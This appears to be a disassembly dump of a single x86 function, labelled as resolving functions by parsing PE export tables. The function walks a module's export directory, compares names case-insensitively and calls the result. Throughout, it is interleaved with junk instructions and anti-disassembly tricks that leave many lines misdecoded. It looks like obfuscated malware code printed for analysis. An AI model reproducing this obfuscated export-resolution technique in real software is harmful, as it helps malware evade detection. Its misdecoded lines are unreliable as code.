Function at 0x463c52
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
add ecx, 0xc94c
add ecx, 0xcbe9
or ecx, 0x9f73
pop ecx
push edx
push esi
add esp, 4
or edx, 0xc6a9
sub edx, 0xe3ec
sub edx, 0xc03f
xor edx, 0x6a3d
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push ebx
add esp, 4
sub esi, 0x2613
pop esi
push ebx
push edi
add esp, 4
or ebx, 0x1a41
pop ebx
push esi
or esi, 0xcd57
sub esi, 0xe93d
pop esi
push ecx
push edx
add esp, 4
add ecx, 0xee47
out dx, al
add byte [eax], al
out dx, al
add byte [eax], al
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
add ecx, 0x114e0
add ecx, 0x41f9
xor ecx, 0x15db4
and ecx, 0xefe6
pop ecx
push edx
call 0x4637b3
add byte [edi + 0x3d], cl
dec ecx
cmp dword [edi + 0x45], ecx
dec edi
add esp, 4
and edx, 0x14956
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x4637da
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x463834
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x463702
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x463702
invalid
invalid
invalid
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x46381e
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x463828
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x46387d
push eax
add eax, 0x2b61
pop eax
push esi
push ebx
add esp, 4
sub esi, 0x16733
jmp 0x463856
pop esi
push ecx
push edx
add esp, 4
xor ecx, 0x2fa2
xor ecx, 0x106f9
or ecx, 0x351f
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4638e5
push edi
push esi
add esp, 4
jmp 0x463889
call 0x463898
add byte [ebp + 0x46], cl
inc ecx
inc esi
dec ebx
aaa
cmp byte [edx], bh
cmp eax, 0xeb04c483
add esi, dword [ebx]
inc ebp
dec ebp
pop edi
push edi
sub edi, 0x27af
or edi, 0x326d
pop edi
mov eax, dword [ebp - 0x4e8]
test dword [eax], ebx
sti
invalid
dec dword [ebx + 0x188d8908]
sti
invalid
dec dword [ebx - 0x4e76b]
invalid
cmp edx, dword [ebp - 0xc58]
je 0x4638db
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x4636a6
mov dword [ebp - 0x710], 0
push edi
call 0x4638f5
add byte [edx + 0x46], cl
dec edi
inc edi
aas
cmp edi, dword [0xc483403a]
add al, 0x81
neg esi
lodsd eax, dword [esi]
add byte [eax], al
pop edi
push eax
push edi
add esp, 4
and eax, 0x2a90
sub eax, 0x8ea9
and eax, 0x12a13
pop eax
cmp dword [ebp - 0x710], 0
jne 0x463961
push ecx
push ebx
add esp, 4
and ecx, 0x181a5
call 0x463937
add byte [ebp + 0x50], cl
cmp bh, byte [eax*2 + 0x4c4834e]
call 0x463946
add byte [edi + 0x41], cl
dec ecx
aas
dec esp
push eax
add esp, 4
pop ecx
push ebx
sub ebx, 0x1523d
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x464489
push edx
push edi
add esp, 4
xor edx, 0x7e10
jmp 0x463971
and edx, 0x169d5
pop edx
push eax
push ebx
add esp, 4
or eax, 0x1737d
jmp 0x463988
pop eax
push eax
jmp 0x463992
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4639d2
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x463cc3
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4639fa
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
lea edi, [eax]
cld
invalid
invalid
jmp 0x463cc3
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x463a2c
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x463cc3
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x463a51
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x463cc3
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x463aab
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x463cb7
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x463b1b
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x463bcd
add byte [eax], al
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x463bcd
push esi
add esi, 0x151eb
xor esi, 0x4419
call 0x463b62
add byte [eax + 0x49], al
dec esp
inc ebp
inc ebp
inc eax
xor eax, dword [ebx + 0x535e04c4]
sub ebx, 0xe1c6
and ebx, 0x152dd
push edx
add dword [eax], eax
xor ebx, 0x17561
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x463bbf
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x463bc6
jmp 0x463b0c
jmp 0x463bcd
push edi
jmp 0x463bd6
pop edi
push ecx
or ecx, 0x57fa
call 0x463bee
add byte [edi], dh
dec ebp
dec edi
dec eax
dec edx
inc edi
dec ebp
push eax
dec edx
cmp eax, 0x8104c483
loope 0x463c6f
test byte [ecx], al
add bl, ch
add eax, 0x3e36494f
inc ecx
pop ecx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x463c2c
mov dword [ebp - 0xc5c], 0
jmp 0x463c9b
push eax
push eax
add esp, 4
or eax, 0xe03c
jmp 0x463c3e
sub eax, 0x11772
call 0x463c52
add byte [eax + edx*2], bh
dec edx
cmp dword [esp + esi], edi
dec ebp
add esp, 4
pop eax
push esi
sub esi, 0xda03
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x463c91
and byte [ebx - 0x1877b], cl
dec dword [edi]
mov esi, 0xf7d0058c
invalid
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x463c9b
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x463cb2
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x463cc3
jmp 0x463a9c
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x463d9e
push ecx
jmp 0x463cda
call 0x463ce6
add byte [edi], dh
cmp dword [edi + 0x49], ecx
dec ecx
dec ebp
add esp, 4
sub ecx, 0xacfc
sub ecx, 0x12309
pop ecx
push ebx
push ebx
add esp, 4
or ebx, 0xf191
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
sub edx, 0x10326
pop edx
push esi
or esi, 0xdc03
call 0x463d2a
add byte [esi + 0x3a], al
dec ecx
dec ecx
xor dh, byte [esp + eax*2]
add esp, 4
xor esi, 0xbd40
pop esi
push edi
push edx
add esp, 4
xor edi, 0xf17c
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x463d9e
push edx
sub edx, 0x17695
xor edx, 0x1c04
pop edx
push esi
add esi, 0x14db
and esi, 0x15f3
add esi, 0xd65b
call 0x463d8b
add byte [eax], al
add byte [eax], al
xor al, 0x41
inc ecx
inc edx
dec ecx
cmp eax, 0x5e04c483
mov dword [ebp - 0xa58], 0
jmp 0x464489